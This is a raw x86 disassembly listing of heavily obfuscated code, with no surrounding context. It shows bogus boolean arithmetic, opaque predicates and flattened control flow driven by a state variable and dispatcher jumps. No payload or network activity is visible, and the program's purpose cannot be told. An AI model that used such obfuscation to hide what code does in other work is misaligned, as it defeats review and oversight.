xor bh, 1
mov al, bh
and al, 1
mov byte [ebp - 0x1c276], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x1c275], al
mov al, byte [ebp - 0x1c276]
and bh, 1
or cl, al
mov al, byte [ebp - 0x1c275]
or al, bh
xor cl, al
mov al, ah
and al, bl
xor ah, bl
or al, ah
mov byte [ebp - 0x1c270], al
mov ah, 1
xor ah, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1c271], al
mov bh, 1
xor bh, 0
mov bl, ah
and bl, 0
mov al, bh
and al, 1
mov byte [ebp - 0x1c274], al
mov al, byte [ebp - 0x1c271]
and al, 0
mov byte [ebp - 0x1c273], al
mov al, byte [ebp - 0x1c274]
and cl, bh
or bl, al
mov al, byte [ebp - 0x1c273]
or al, cl
mov cl, byte [ebp - 0x1c272]
xor bl, al
mov al, byte [ebp - 0x1c271]
or ah, al
mov al, byte [ebp - 0x1c270]
xor ah, 0xff
or bh, 0
and ah, bh
or bl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
and al, bh
mov byte [ebp - 0x1c26f], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x1c26e], al
mov al, byte [ebp - 0x1c26f]
and bh, 1
or ah, al
mov al, byte [ebp - 0x1c26e]
or al, bh
xor ah, al
xor bl, 0xff
mov al, ah
xor al, bl
and al, ah
mov byte [ebp - 0x1c269], al
mov bl, 1
xor bl, 0
and bl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and bh, 1
or bl, al
mov al, byte [ebp - 0x1c240]
or ah, bh
xor bl, ah
mov ah, ch
xor ah, 0xff
mov bh, bl
and bh, ah
xor bl, 0xff
mov ah, ch
and ah, bl
or bh, ah
xor bh, 0xff
mov bl, ch
xor bl, 0xff
mov ah, 1
xor ah, 1
or bh, bl
or ah, 1
xor bh, 0xff
and bh, ah
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and al, ah
or bl, al
mov al, cl
xor al, 0xff
mov ah, bl
and ah, al
xor bl, 0xff
mov al, cl
and al, bl
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, dl
xor al, 0xff
and al, 1
mov byte [ebp - 0x1c26d], al
mov al, 1
xor al, 1
mov cl, dl
and cl, al
mov bl, 1
xor bl, 1
and bl, 0xff
and al, 1
mov byte [ebp - 0x1c26c], al
mov al, byte [ebp - 0x1c26d]
or al, cl
mov cl, byte [ebp - 0x1c26c]
or bl, cl
mov cl, byte [ebp - 0x1c269]
xor al, bl
mov byte [ebp - 0x1c250], al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and cl, bl
or al, cl
mov byte [ebp - 0x1c251], al
mov bl, 1
xor bl, 1
and bl, 0
mov al, 1
xor al, 0
mov cl, al
and cl, 1
mov byte [ebp - 0x1c26b], cl
mov cl, 1
xor cl, 1
and cl, 0
and al, 1
mov byte [ebp - 0x1c26a], al
mov al, byte [ebp - 0x1c26b]
or bl, al
mov al, byte [ebp - 0x1c26a]
or cl, al
mov al, byte [ebp - 0x1c250]
xor bl, cl
mov cl, 1
xor cl, 1
xor al, cl
mov cl, byte [ebp - 0x1c250]
and al, cl
mov cl, byte [ebp - 0x1c269]
mov byte [ebp - 0x1c266], al
xor dl, 0xff
mov al, bl
xor al, 0xff
mov byte [ebp - 0x1c268], al
mov al, 1
xor al, 0
mov byte [ebp - 0x1c267], al
mov al, byte [ebp - 0x1c268]
or dl, al
mov al, byte [ebp - 0x1c267]
or al, 0
xor dl, 0xff
and dl, al
mov al, byte [ebp - 0x1c251]
mov byte [ebp - 0x1c265], dl
mov dl, 1
xor dl, 1
xor al, dl
mov dl, byte [ebp - 0x1c251]
and al, dl
mov byte [ebp - 0x1c25f], al
mov al, bl
xor al, 0xff
mov dl, cl
xor dl, al
mov al, byte [ebp - 0x1c266]
and dl, cl
mov cl, byte [ebp - 0x1c265]
mov byte [ebp - 0x1c25e], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x1c261], dl
xor cl, 0xff
mov byte [ebp - 0x1c262], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1c260], cl
and dl, 0
and al, cl
mov cl, byte [ebp - 0x1c265]
mov byte [ebp - 0x1c264], al
mov al, byte [ebp - 0x1c262]
and al, 0
mov byte [ebp - 0x1c263], al
mov al, byte [ebp - 0x1c260]
and cl, al
mov al, byte [ebp - 0x1c264]
or dl, al
mov al, byte [ebp - 0x1c263]
or al, cl
mov cl, byte [ebp - 0x1c262]
xor dl, al
mov al, byte [ebp - 0x1c261]
or al, cl
mov cl, byte [ebp - 0x1c260]
xor al, 0xff
or cl, 0
and al, cl
mov cl, byte [ebp - 0x1c25f]
or dl, al
mov al, byte [ebp - 0x1c25e]
mov byte [ebp - 0x1c256], dl
mov dl, cl
xor dl, 0xff
xor al, 0xff
mov byte [ebp - 0x1c258], al
mov al, 1
xor al, 0
mov byte [ebp - 0x1c257], al
mov al, dl
and al, 0
mov byte [ebp - 0x1c25c], al
mov al, byte [ebp - 0x1c257]
and cl, al
mov al, byte [ebp - 0x1c25e]
mov byte [ebp - 0x1c25d], cl
mov cl, byte [ebp - 0x1c258]
and cl, 0
mov byte [ebp - 0x1c25a], cl
mov cl, byte [ebp - 0x1c257]
and al, cl
mov cl, byte [ebp - 0x1c25d]
mov byte [ebp - 0x1c25b], al
mov al, byte [ebp - 0x1c25c]
or al, cl
mov cl, byte [ebp - 0x1c25b]
mov byte [ebp - 0x1c259], al
mov al, byte [ebp - 0x1c25a]
or al, cl
mov cl, byte [ebp - 0x1c259]
xor cl, al
mov al, byte [ebp - 0x1c258]
or dl, al
mov al, byte [ebp - 0x1c257]
xor dl, 0xff
or al, 0
and dl, al
mov al, byte [ebp - 0x1c256]
or cl, dl
mov byte [ebp - 0x1c255], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov byte [ebp - 0x1c254], cl
and al, cl
mov cl, byte [ebp - 0x1c255]
mov byte [ebp - 0x1c253], al
mov al, cl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x1c252], al
mov al, byte [ebp - 0x1c254]
and cl, al
mov al, byte [ebp - 0x1c253]
or dl, al
mov al, byte [ebp - 0x1c252]
or al, cl
mov cl, byte [ebp - 0x1c251]
xor dl, al
mov al, byte [ebp - 0x1c250]
mov byte [ebp - 0x1c24f], dl
mov dl, al
and dl, cl
xor al, cl
mov cl, byte [ebp - 0x1c24f]
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov byte [ebp - 0x1c24e], al
mov al, 1
xor al, 1
and dl, al
mov al, byte [ebp - 0x1c24e]
or al, dl
mov dl, bl
and dl, 1
xor bl, 1
or dl, bl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov byte [ebp - 0x1c24d], bl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1c248], al
xor bl, 0xff
mov dl, 1
xor dl, 0
and al, 0
mov byte [ebp - 0x1c24c], al
and cl, dl
mov al, bl
and al, 0
mov byte [ebp - 0x1c24a], al
mov al, byte [ebp - 0x1c24d]
and al, dl
mov byte [ebp - 0x1c24b], al
mov al, byte [ebp - 0x1c24c]
or al, cl
mov cl, byte [ebp - 0x1c24b]
mov byte [ebp - 0x1c249], al
mov al, byte [ebp - 0x1c24a]
or al, cl
mov cl, byte [ebp - 0x1c249]
xor cl, al
mov al, byte [ebp - 0x1c248]
or al, bl
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov bl, bh
xor bl, 0xff
mov dl, ah
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
and al, 0
mov byte [ebp - 0x1c247], al
mov al, 1
xor al, 0
and bh, al
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, al
mov al, byte [ebp - 0x1c247]
or al, bh
or dl, ah
xor al, dl
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x1c244], bh
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 0
and bh, 0
and bl, dl
mov byte [ebp - 0x1c246], bl
mov bl, ah
and bl, 0
and al, dl
mov byte [ebp - 0x1c245], al
mov al, byte [ebp - 0x1c246]
or bh, al
mov al, byte [ebp - 0x1c245]
or bl, al
mov al, byte [ebp - 0x1c244]
xor bh, bl
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or bh, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov bl, cl
and bl, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, bl
or al, ah
xor dl, al
xor dl, 0xff
mov al, bh
xor al, dl
and al, bh
mov ah, bh
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
and bh, bl
mov dl, 1
xor dl, 1
and dl, 0
and bl, 1
or ah, bh
or dl, bl
xor ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ch
xor al, 0xff
mov cl, dh
xor cl, al
and cl, dh
mov ah, dh
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
and dh, bl
mov al, ch
xor al, 0xff
and al, 0
and ch, bl
or ah, dh
or al, ch
xor ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov ah, al
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, al
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov ch, 1
xor ch, 0
xor ah, 0xff
mov cl, 1
xor cl, 1
or ch, ah
or cl, 1
xor ch, 0xff
and ch, cl
mov dh, 1
xor dh, 0
and dh, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dh, bl
or cl, ah
xor dh, cl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov bl, 1
xor bl, 0
mov cl, ah
xor cl, bl
and cl, ah
mov byte [ebp - 0x1c241], cl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov cl, ch
xor cl, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, cl
and ah, 0
and ch, bl
mov byte [ebp - 0x1c243], ch
mov ch, bh
and ch, 0
and al, bl
mov byte [ebp - 0x1c242], al
mov al, byte [ebp - 0x1c243]
or ah, al
mov al, byte [ebp - 0x1c242]
or ch, al
mov al, byte [ebp - 0x1c241]
xor ah, ch
mov ch, byte [ebp - 0x1c240]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or ah, cl
mov cl, al
and cl, dh
xor al, dh
or cl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and ah, bl
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bl
or dh, ah
or al, cl
xor dh, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov byte [ebp - 0x1c234], ah
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov byte [ebp - 0x1c236], bl
mov al, bh
xor al, 0xff
mov ch, 1
xor ch, 0
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 0
xor bl, 0xff
mov ch, 1
xor ch, 0
or cl, bl
or ch, 0
xor cl, 0xff
and cl, ch
xor ah, 0xff
mov bl, 1
xor bl, 0
mov ch, 1
xor ch, 0
or ah, bl
mov bl, byte [ebp - 0x1c236]
or ch, 0
xor ah, 0xff
and ah, ch
mov ch, byte [ebp - 0x1c240]
mov byte [ebp - 0x1c23b], ah
xor bl, 0xff
mov ah, ch
xor ah, bl
and ah, ch
mov byte [ebp - 0x1c23d], ah
mov ah, al
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x1c23c], ch
mov bl, 1
xor bl, 1
mov ch, ah
and ch, 0xff
and al, bl
mov byte [ebp - 0x1c23f], al
mov al, byte [ebp - 0x1c23c]
and al, 0xff
mov byte [ebp - 0x1c23e], al
mov al, byte [ebp - 0x1c23f]
and cl, bl
or ch, al
mov al, byte [ebp - 0x1c23e]
or al, cl
mov cl, byte [ebp - 0x1c23d]
xor ch, al
mov al, byte [ebp - 0x1c23c]
or ah, al
mov al, byte [ebp - 0x1c23b]
xor ah, 0xff
or bl, 1
and ah, bl
or ch, ah
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x1c237], bl
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x1c238], ah
mov ah, 1
xor ah, 0
and bl, 0
and al, ah
mov byte [ebp - 0x1c23a], al
mov al, byte [ebp - 0x1c238]
and al, 0
mov byte [ebp - 0x1c239], al
mov al, byte [ebp - 0x1c23a]
and cl, ah
or bl, al
mov al, byte [ebp - 0x1c239]
or al, cl
mov cl, byte [ebp - 0x1c238]
xor bl, al
mov al, byte [ebp - 0x1c237]
or al, cl
mov cl, byte [ebp - 0x1c236]
xor al, 0xff
or ah, 0
and al, ah
or bl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and ch, al
mov byte [ebp - 0x1c235], ch
mov ch, bl
xor ch, 0xff
and ch, 0xff
and bl, al
mov al, byte [ebp - 0x1c235]
or ah, al
mov al, byte [ebp - 0x1c234]
or ch, bl
xor ah, ch
mov byte [ebp - 0x1c22e], ah
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x1c231], ah
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
and ah, 0
and bh, ch
mov byte [ebp - 0x1c233], bh
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0x1c232], al
mov al, byte [ebp - 0x1c233]
or ah, al
mov al, byte [ebp - 0x1c232]
or bh, al
mov al, byte [ebp - 0x1c231]
xor ah, bh
or al, bl
xor al, 0xff
or ch, 0
and al, ch
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
mov byte [ebp - 0x1c22d], al
mov ah, 1
xor ah, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ch, ah
and ch, 0
mov al, bl
and al, 0
mov byte [ebp - 0x1c230], al
mov al, bh
and al, 0
mov byte [ebp - 0x1c22f], al
mov al, byte [ebp - 0x1c230]
and cl, bl
or ch, al
mov al, byte [ebp - 0x1c22f]
or al, cl
mov cl, byte [ebp - 0x1c22e]
xor ch, al
mov al, byte [ebp - 0x1c22d]
or ah, bh
xor ah, 0xff
or bl, 0
and ah, bl
or ch, ah
xor ch, 0xff
mov ah, al
xor ah, ch
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov ah, al
and ah, 1
xor al, 1
or ah, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, dh
or al, ch
xor cl, al
xor cl, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xae1a4688
mov ecx, 0xe1d881a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor esi, esi
sub esi, ecx
xor edx, edx
sub edx, 0x3d223c0f
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xe03b81b4
sub edx, 0x7bb1a3f1
add edx, 0xe03b81b4
xor esi, esi
sub esi, 0x3d223c0f
add edx, esi
xor esi, esi
sub esi, 0xfdd56ee1
sub esi, 1
add esi, 0xfdd56ee1
add edx, 0xacf876e7
add edx, esi
sub edx, 0xacf876e7
sub edx, 0x693f8b5a
add edx, 0x4a2ca4b
add edx, 0x693f8b5a
add edx, 0xd18f548a
add edx, 0x7bb1a3f1
sub edx, 0xd18f548a
add edx, 0x40095a8c
sub edx, 0x4a2ca4b
sub edx, 0x40095a8c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl bh
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ah, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, bh
and al, dl
or ch, al
mov dl, 1
xor dl, 0
and dl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov al, 1
xor al, 1
and al, 0
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov byte [ebp - 0x1c3f1], al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov ch, cl
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, ch
or dl, ah
xor al, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
mov ah, dl
xor ah, 0xff
mov bl, cl
xor bl, ah
and bl, cl
mov ah, bh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, bh
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov ch, 1
xor ch, 1
mov cl, ah
xor cl, ch
and cl, ah
mov byte [ebp - 0x1c3f2], cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, al
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
and al, ah
mov dh, ch
and dh, 0xff
and bl, ah
or dl, al
mov al, byte [ebp - 0x1c3f2]
or dh, bl
xor dl, dh
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x1c3f1]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc71fce7d
mov ecx, 0x996aebcd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b73c]
mov edi, dword [eax]
mov edx, 0xffffffff
xor edx, 0x20000000
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x20000000
or edx, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xaf09afec
or eax, edx
or ecx, 0xaf09afec
xor eax, 0xffffffff
and eax, ecx
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
or esi, ecx
mov ecx, 0xffffffff
xor ecx, 0x20000000
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1fe10683
or ecx, esi
or edx, 0x1fe10683
xor ecx, 0xffffffff
and ecx, edx
mov esi, eax
and esi, ecx
xor eax, ecx
or esi, eax
mov edx, edi
xor edx, 0xffffffff
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
mov eax, edi
and eax, ecx
or edx, eax
mov eax, 0xffffffff
xor eax, 0x49cd4b54
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x222b048c
or eax, edx
or ecx, 0x222b048c
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x1c448], eax
mov eax, 0xffffffff
xor eax, 0x49cd4b54
and eax, 0x76e8ab0
mov edx, 0xffffffff
xor edx, 0x76e8ab0
mov ebx, edx
and ebx, 0x49cd4b54
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x76e8ab0
and edx, 0xffffffff
or eax, ebx
or ecx, edx
xor eax, ecx
mov dword [ebp - 0x1c43c], eax
xor eax, 0xffffffff
mov ebx, edi
xor ebx, eax
and ebx, edi
mov edx, esi
xor edx, 0xffffffff
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
mov eax, esi
and eax, ecx
mov ecx, dword [ebp - 0x1c448]
or edx, eax
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x49cd4b54
mov dword [ebp - 0x1c444], eax
mov eax, 0xffffffff
xor eax, 0xefaa1480
mov dword [ebp - 0x1c440], eax
mov eax, dword [ebp - 0x1c444]
or edx, eax
mov eax, dword [ebp - 0x1c440]
or eax, 0xefaa1480
xor edx, 0xffffffff
and edx, eax
mov eax, dword [ebp - 0x1c43c]
mov dword [ebp - 0x1c438], edx
xor esi, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x5d7b0b7
or esi, eax
mov eax, dword [ebp - 0x1c438]
or edx, 0x5d7b0b7
xor esi, 0xffffffff
and esi, edx
mov edx, ecx
and edx, ebx
xor ecx, ebx
or edx, ecx
mov ecx, eax
and ecx, esi
xor eax, esi
or ecx, eax
mov esi, edx
xor esi, 0xffffffff
and esi, 0x61abe9f2
mov ebx, 0xffffffff
xor ebx, 0x61abe9f2
and edx, ebx
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x61abe9f2
and ecx, ebx
or esi, edx
or eax, ecx
xor esi, eax
mov edx, esi
xor edx, 0xffffffff
and edx, 0xa472733b
mov ecx, 0xffffffff
xor ecx, 0xa472733b
and esi, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xa472733b
and ecx, 0xffffffff
or edx, esi
or eax, ecx
xor edx, eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0x78dafae4
mov ecx, 0xffffffff
xor ecx, 0x78dafae4
and edi, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x78dafae4
and ecx, 0xffffffff
or esi, edi
or eax, ecx
xor esi, eax
mov eax, 0xffffffff
xor eax, 0xd521bf0f
and eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xd521bf0f
or eax, ecx
mov ecx, edx
and ecx, esi
xor edx, esi
or ecx, edx
mov edx, 0xffffffff
xor edx, 0xd521bf0f
mov dword [ebp - 0x1c42c], edx
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x3aa48945
and edx, 0x3aa48945
mov ebx, esi
and ebx, 0xd521bf0f
mov dword [ebp - 0x1c434], ebx
mov ebx, edi
and ebx, 0x3aa48945
and eax, esi
mov dword [ebp - 0x1c430], eax
mov eax, dword [ebp - 0x1c434]
or edx, eax
mov eax, dword [ebp - 0x1c430]
or ebx, eax
mov eax, dword [ebp - 0x1c42c]
xor edx, ebx
or eax, edi
xor eax, 0xffffffff
or esi, 0x3aa48945
and eax, esi
or edx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and ecx, esi
or eax, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x4e133398
or eax, edx
or ecx, 0x4e133398
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x1b648], eax
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor edi, edi
sub edi, 0x3be6e8ef
add edi, 0x27b537f1
add edi, 0x3be6e8ef
sub edi, 0x1facc487
sub edi, 1
add edi, 0x1facc487
add edi, 0x3ce91c07
sub edi, 0x27b537f1
sub edi, 0x3ce91c07
xor esi, esi
sub esi, 0x201a42
mov edx, ecx
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x201a42
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl dl
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, ch
and al, ah
or cl, al
mov ah, 1
xor ah, 1
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or cl, bl
or al, dh
xor cl, al
mov al, cl
xor al, 0xff
mov bl, ch
xor bl, al
and bl, ch
mov dh, 1
xor dh, 1
and dh, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov byte [ebp - 0x1c427], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x1c426], al
mov al, byte [ebp - 0x1c427]
and bh, 1
or dh, al
mov al, byte [ebp - 0x1c426]
or al, bh
xor dh, al
mov bh, 1
xor bh, 1
mov al, dh
xor al, bh
and al, dh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, ah
and dh, bl
xor ah, bl
or dh, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, bl
or al, dh
or cl, ah
xor al, cl
mov byte [ebp - 0x1c40d], al
mov dh, dl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov ah, dl
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ah
or al, cl
xor dh, al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov bh, dl
xor bh, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov ah, 1
xor ah, 1
mov al, cl
xor al, ah
mov ah, byte [ebp - 0x1c40d]
and al, cl
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov cl, dh
and cl, bh
xor dh, bh
or cl, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov bl, cl
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and cl, dh
or al, cl
mov byte [ebp - 0x1c40b], al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov cl, 1
xor cl, 1
xor dh, 0xff
mov al, 1
xor al, 1
or cl, dh
or al, 1
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov dh, 1
xor dh, 1
xor bl, 0xff
mov al, 1
xor al, 0
or dh, bl
or al, 0
xor dh, 0xff
and dh, al
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov byte [ebp - 0x1c401], al
mov dh, ah
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ah
or al, cl
xor dh, al
mov al, 1
xor al, 1
